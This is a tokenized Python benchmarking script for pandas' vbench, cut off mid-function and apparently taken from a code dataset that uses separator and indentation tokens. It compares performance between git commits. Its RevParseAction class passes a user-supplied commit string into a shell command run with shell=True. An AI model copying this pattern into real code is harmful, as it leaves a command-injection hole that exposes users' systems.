"it", " ", "to", " ", "\"", "just", " ", "work", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "One", " ", "way", " ", "in", " ", "whi", "ch", " ", "this", " ", "is", " ", "usef", "ul", " ", "is", " ", "whe", "n", " ", "collecti", "ng", " ", "historical", " ", "data", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "where", " ", "writ", "ing", " ", "some", " ", "logic", " ", "aro", "und", " ", "this", " ", "script", " ", "may", " ", "prove", " ", "easi", "er_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "some", " ", "case", "s", " ", "then", " ", "runn", "ing", " ", "vb", "ench", " ", "direct", "ly", " ", "(", "think", " ", "perf", " ", "bisect", "ion", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", "plea", "se", "*", ",", " ", "whe", "n", " ", "you", " ", "modif", "y", " ", "this", " ", "script", " ", "for", " ", "what", "ever", " ", "reason", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "make", " ", "sure", " ", "you", " ", "do", " ", "not", " ", "break", " ", "its", " ", "functional", "it", "y", " ", "whe", "n", " ", "runn", "ing", " ", "under", " ", "older_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "panda", "s", " ", "version", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", " ", "tha", "t", " ", "depre", "action", " ", "warn", "ings", " ", "are", " ", "turn", "ed", " ", "off", " ", "in", " ", "main", "()", ",", " ", "so", " ", "there", "'", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "no", " ", "need", " ", "to", " ", "change", " ", "the", " ", "actual", " ", "code", " ", "to", " ", "sup", "ress", " ", "suc", "h", " ", "warn", "ings", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "shutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "argparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "pandas_", "as_", "pd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pandas_", "import_", "Data", "Frame_", ",_", "Series_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "suite_", "import_", "REPO", "\\u", "PATH_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "VB", "\\u", "DIR_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "os_", "._", "path_", "._", "abspath_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "DEF", "AUL", "T", "\\u", "MIN", "\\u", "DURATION", "_", "=_", "0.01_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "HEAD", "\\u", "COL_", "=_", "\"", "head", "[", "ms", "]\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "BASE", "\\u", "COL_", "=_", "\"", "base", "[", "ms", "]\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "git_", "#", " ", "git", "python_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Error", ":", " ", "Ple", "ase", " ", "install", " ", "the", " ", "`", "git", "python", "`", " ", "package", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "parser_", "=_", "argparse_", "._", "Arg", "ument", "Parser_", "(_", "description_", "=_", "'", "Us", "e", " ", "vb", "ench", " ", "to", " ", "measure", " ", "and", " ", "compare", " ", "the", " ", "perform", "anc", "e", " ", "of", " ", "commit", "s", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "H", "'_", ",_", "'--", "head", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Execut", "e", " ", "vb", "ench", "es", " ", "usi", "ng", " ", "the", " ", "currentl", "y", " ", "checke", "d", " ", "out", " ", "copy", ".'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dest_", "=_", "'", "head", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "action_", "=_", "'", "store", "\\u", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "b", "'_", ",_", "'--", "base", "-", "commit", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "The", " ", "commit", " ", "serving", " ", "as", " ", "perform", "anc", "e", " ", "baseline", " ", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "str_", ",_", "action_", "=_", "Rev", "Pars", "e", "Action_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "t", "'_", ",_", "'--", "target", "-", "commit", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "The", " ", "commit", " ", "to", " ", "compare", " ", "against", " ", "the", " ", "baseline", " ", "(", "default", ":", " ", "HEAD", ").'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "str_", ",_", "action_", "=_", "Rev", "Pars", "e", "Action_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "base", "-", "pickle", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "name", " ", "of", " ", "pickle", " ", "file", " ", "with", " ", "timings", " ", "data", " ", "generat", "ed", " ", "by", " ", "a", " ", "former", " ", "`-", "H", " ", "-", "d", " ", "FILE", "`", " ", "run", ".", " ", "'_", "'", "filename", " ", "must", " ", "be", " ", "of", " ", "the", " ", "form", " ", "<", "hash", ">-", "*.", "*", " ", "or", " ", "speci", "fy", " ", "--", "base", "-", "commit", " ", "seperat", "el", "y", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "target", "-", "pickle", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "name", " ", "of", " ", "pickle", " ", "file", " ", "with", " ", "timings", " ", "data", " ", "generat", "ed", " ", "by", " ", "a", " ", "former", " ", "`-", "H", " ", "-", "d", " ", "FILE", "`", " ", "run", " ", "'_", "'", "filename", " ", "must", " ", "be", " ", "of", " ", "the", " ", "form", " ", "<", "hash", ">-", "*.", "*", " ", "or", " ", "speci", "fy", " ", "--", "target", "-", "commit", " ", "seperat", "el", "y", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "m", "'_", ",_", "'--", "min", "-", "duration", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Mini", "mum", " ", "duration", " ", "(", "in", " ", "ms", ")", " ", "of", " ", "baseline", " ", "test", " ", "for", " ", "inclusion", " ", "in", " ", "report", " ", "(", "default", ":", " ", "%", ".3", "f", ").'_", "%_", "DEF", "AUL", "T", "\\u", "MIN", "\\u", "DURATION", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "float_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "o", "'_", ",_", "'--", "output", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metavar_", "=_", "\"<", "file", ">\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dest_", "=_", "'", "log", "\\u", "file", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Path", " ", "of", " ", "file", " ", "in", " ", "whi", "ch", " ", "to", " ", "save", " ", "the", " ", "textu", "al", " ", "report", " ", "(", "default", ":", " ", "vb", "\\u", "suit", "e", ".", "log", ").'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "d", "'_", ",_", "'--", "outd", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metavar_", "=_", "\"", "FN", "AME", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dest_", "=_", "'", "outd", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Name", " ", "of", " ", "file", " ", "to", " ", "df", ".", "save", "()", " ", "the", " ", "result", " ", "table", " ", "int", "o", ".", " ", "Wil", "l", " ", "overwrit", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "r", "'_", ",_", "'--", "regex", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metavar_", "=_", "\"", "REGEX", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dest_", "=_", "'", "regex", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Rege", "x", " ", "pat", ",", " ", "only", " ", "tests", " ", "who", "se", " ", "name", " ", "matche", "s", " ", "the", " ", "regex", "t", " ", "will", " ", "be", " ", "run", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "s", "'_", ",_", "'--", "seed", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metavar_", "=_", "\"", "SEED", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dest_", "=_", "'", "seed", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "1234_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "int_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Integer", " ", "value", " ", "to", " ", "seed", " ", "PR", "NG", " ", "with", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "n", "'_", ",_", "'--", "repeat", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metavar_", "=_", "\"", "N", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dest_", "=_", "'", "repeat", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "int_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Number", " ", "of", " ", "times", " ", "to", " ", "run", " ", "each", " ", "vb", "ench", ",", " ", "result", " ", "value", " ", "is", " ", "the", " ", "best", " ", "of", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "c", "'_", ",_", "'--", "nca", "lls", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metavar_", "=_", "\"", "N", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dest_", "=_", "'", "nca", "lls", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "int_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Number", " ", "of", " ", "calls", " ", "to", " ", "in", " ", "each", " ", "repetition", " ", "of", " ", "a", " ", "vb", "ench", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "N", "'_", ",_", "'--", "hre", "pea", "ts", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metavar_", "=_", "\"", "N", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dest_", "=_", "'", "hre", "pea", "ts", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "int_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "implies", " ", "-", "H", ",", " ", "number", " ", "of", " ", "times", " ", "to", " ", "run", " ", "the", " ", "vb", "ench", " ", "suit", "e", " ", "on", " ", "the", " ", "head", " ", "commit", ".\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Ea", "ch", " ", "iterati", "on", " ", "will", " ", "yield", " ", "anot", "her", " ", "column", " ", "in", " ", "the", " ", "output", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "a", "'_", ",_", "'--", "affinity", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metavar_", "=_", "\"", "a", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dest_", "=_", "'", "affinity", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "int_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "set", " ", "process", "or", " ", "affinity", " ", "of", " ", "process", " ", "by", " ", "default", " ", "bind", " ", "to", " ", "cpu", "/", "core", " ", "#", "1", " ", "only", ".", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Requ", "ires", " ", "the", " ", "\"", "affinity", "\"", " ", "or", " ", "\"", "psu", "til", "\"", " ", "python", " ", "module", ",", " ", "will", " ", "raise", " ", "Warn", "ing", " ", "other", "wis", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "u", "'_", ",_", "'--", "burn", "in", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metavar_", "=_", "\"", "u", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dest_", "=_", "'", "burn", "in", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "=_", "int_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Number", " ", "of", " ", "extra", " ", "iterati", "on", " ", "per", " ", "bench", "mark", " ", "to", " ", "perform", " ", "first", ",", " ", "then", " ", "throw", " ", "awa", "y", ".", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "S", "'_", ",_", "'--", "stats", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "action_", "=_", "'", "store", "\\u", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "whe", "n", " ", "specified", " ", "with", " ", "-", "N", ",", " ", "print", "s", " ", "the", " ", "output", " ", "of", " ", "descri", "be", "()", " ", "per", " ", "vb", "ench", " ", "results", ".", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "temp", "-", "dir", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metavar_", "=_", "\"", "PATH", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Speci", "fy", " ", "temp", " ", "work", " ", "dir", " ", "to", " ", "use", ".", " ", "cca", "che", " ", "depend", "s", " ", "on", " ", "builds", " ", "bei", "ng", " ", "invoke", "d", " ", "from", " ", "consistent", " ", "director", "y", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "q", "'_", ",_", "'--", "quie", "t", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "action_", "=_", "'", "store", "\\u", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Suppress", " ", "report", " ", "output", " ", "to", " ", "stdout", ".", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "hack", " ", ",", " ", "vb", "ench", ".", "git", " ", "ignores", " ", "some", " ", "commit", "s", ",", " ", "but", " ", "we", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "need", " ", "to", " ", "be", " ", "able", " ", "to", " ", "reference", " ", "any", " ", "commit", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "modifi", "ed", " ", "from", " ", "vb", "ench", ".", "git_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "even", " ", "wor", "se", ",", " ", "monkey", " ", "patch", " ", "vb", "ench", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "not_", "args_", "._", "head_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "not_", "(_", "args_", "._", "base", "\\u", "commit_", "and_", "args_", "._", "target", "\\u", "commit_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "not_", "(_", "args_", "._", "base", "\\u", "pickle_", "and_", "args_", "._", "target", "\\u", "pickle_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parser_", "._", "print", "\\u", "help_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "(_", "args_", "._", "base", "\\u", "pickle_", "or_", "args_", "._", "target", "\\u", "pickle_", ")_", "and_", "not_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "args_", "._", "base", "\\u", "pickle_", "and_", "args_", "._", "target", "\\u", "pickle_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Mus", "t", " ", "speci", "fy", " ", "Bot", "h", " ", "--", "base", "-", "pickle", " ", "and", " ", "--", "target", "-", "pickle", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "(_", "args_", "._", "base", "\\u", "pickle_", "or_", "args_", "._", "target", "\\u", "pickle_", ")_", "and_", "not_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "args_", "._", "base", "\\u", "commit_", "and_", "args_", "._", "target", "\\u", "commit_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "args_", "._", "base", "\\u", "commit_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "base", "\\u", "commit", " ", "not", " ", "specified", ",", " ", "Assu", "ming", " ", "base", "\\u", "pickle", " ", "is", " ", "named", " ", "<", "commit", ">-", "foo", ".*\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "._", "base", "\\u", "commit_", "=_", "args_", "._", "base", "\\u", "pickle_", "._", "split_", "(_", "'-'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "args_", "._", "target", "\\u", "commit_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "target", "\\u", "commit", " ", "not", " ", "specified", ",", " ", "Assu", "ming", " ", "target", "\\u", "pickle", " ", "is", " ", "named", " ", "<", "commit", ">-", "foo", ".*\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "._", "target", "\\u", "commit_", "=_", "args_", "._", "target", "\\u", "pickle_", "._", "split_", "(_", "'-'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "warnings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "warnings_", "._", "filterw", "arnings", "_", "(_", "'", "ignore", "'_", ",_", "category_", "=_", "Fu", "ture", "Warning_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "warnings_", "._", "filterw", "arnings", "_", "(_", "'", "ignore", "'_", ",_", "category_", "=_", "Dep", "reca", "tion", "Warning_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "args_", "._", "base", "\\u", "commit_", "and_", "args_", "._", "target", "\\u", "commit_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Verify", "ing", " ", "specified", " ", "commit", "s", " ", "exist", " ", "in", " ", "repo", "...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "git_", "._", "Repo_", "(_", "VB", "\\u", "DIR_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "[_", "args_", "._", "base", "\\u", "commit_", ",_", "args_", "._", "target", "\\u", "commit_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "r_", "._", "commit_", "(_", "c_", ")_", "._", "message_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "git_", "._", "Ba", "d", "Object_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "The", " ", "commit", " ", "'%", "s", "'", " ", "was", " ", "not", " ", "found", ",", " ", "abort", "ing", "...\"_", "%_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"%", "s", ":", " ", "%", "s", "\"_", "%_", "(_", "c_", ",_", "msg_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Rev", "Pars", "e", "Action_", "(_", "argparse_", "._", "Action_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rev", "Pars", "e", "Action_", "(_", "argparse_", "._", "Action_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "call\\u\\u_", "(_", "self_", ",_", "parser_", ",_", "namespace_", ",_", "values_", ",_", "option", "\\u", "string_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "'", "git", " ", "rev", "-", "parse", " ", "--", "short", " ", "-", "verify", " ", "{", "0", "}", "^", "{{", "commit", "}}'_", "._", "format_", "(_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rev", "\\u", "parse_", "=_", "subprocess_", "._", "check", "\\u", "output_", "(_", "cmd_", ",_", "shell_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "setattr_", "(_", "namespace_", ",_", "self_", "._", "dest_", ",_", "rev", "\\u", "parse_", "._", "strip_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "results", "\\u", "df_", "(_", "db_", ",_", "rev_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Tak", "es", " ", "a", " ", "git", " ", "commit", " ", "hash", " ", "and", " ", "return", "s", " ", "a", " ", "Dataf", "rame", " ", "of", " ", "bench", "mark", " ", "results", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bench_", "=_", "Data", "Frame_", "(_", "db_", "._", "get", "\\u", "benchmarks", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "=_", "Data", "Frame_", "(_", "map_", "(_", "list_", ",_", "db_", "._", "get", "\\u", "rev", "\\u", "results_", "(_", "rev_", ")_", "._", "values_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sin", "ch", " ", "vb", "ench", ".", "db", ".\\u", 